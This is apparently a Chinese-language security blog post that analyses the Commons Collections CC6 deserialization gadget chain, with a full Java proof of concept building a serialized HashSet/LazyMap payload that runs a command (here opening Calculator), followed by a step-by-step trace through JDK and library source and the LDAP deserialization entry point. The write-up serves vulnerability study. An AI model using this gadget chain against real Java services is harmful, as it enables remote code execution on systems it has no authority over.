0x00 前言
书接上文,我使用了LDAP反序列化绕过了JDK版本的trustURLCodebase的限制。但是并没有深入的去分析关于反序列化的部分,其中我使用到的是CC6的利用链,那这次就是来分析的。CC6是用HashSet去触发LazyMap的get方法,来达到RCE的。
0x01 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public class Main { public static void main(String[] args) throws Exception{
unserialize(); }
public static void serialize() throws Exception{ Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"}), new ConstantTransformer(1), }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map hashMap = new HashMap(); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry key = new TiedMapEntry(decorate, "key"); HashSet hashSet = new HashSet(1); hashSet.add(key);
decorate.remove("key"); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
oos.writeObject(hashSet); oos.close();
} public static void unserialize() throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc6.bin")); Object o = ois.readObject(); System.out.println(o); } }
|
这里因为是执行的ois.readObject()所以需要先执行ObjectInputStream#readObject方法,然后这一套流程是完全重复的并且网上已经有完善的分析了,故不多做赘述。我们需要将断点下在HashSet#readObject方法中,从这里之后才是真正反序列化的开始。
HashSet#readObject代码如下,首先传入的是一个ObjectInputStream s
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY);
SharedSecrets.getJavaOISAccess() .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity)); map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
|
我们来查看HashMap#put中的代码
1 2 3
| public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
|
这里在执行putVal()之前会执行到hash(key)而其中就会执行到key.hashCode()
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
所以如果key的内容是TiedMapEntry的话就会执行到其hashCode()方法
TiedMapEntry#hashCode代码中会先调用getValue()
1 2 3 4 5 6 7 8 9
| public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
public Object getValue() { return map.get(key); }
|
而这里的map.get(key),在我们序列化的时候TiedMapEntry key = new TiedMapEntry(decorate, "key");传入的这个decorate就是一个LazyMap对象,于是直到了LazyMap其实就跟CC2的反序列化一样啦。
利用链
0x02 关于LDAP反序列化
那么既然现在我们已经弄清楚了CC6的链,回顾一下LDAP反序列化的入口函数deserializeObject(),这次明显就可以看出((ObjectInputStream)var20).readObject()是反序列化的入口函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { try { ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try { Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1); Throwable var21 = null;
Object var5; try { var5 = ((ObjectInputStream)var20).readObject(); } catch (Throwable var16) { var21 = var16; throw var16; } }
|
参考链接:
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%876/
https://www.cnblogs.com/1vxyz/p/17447478.html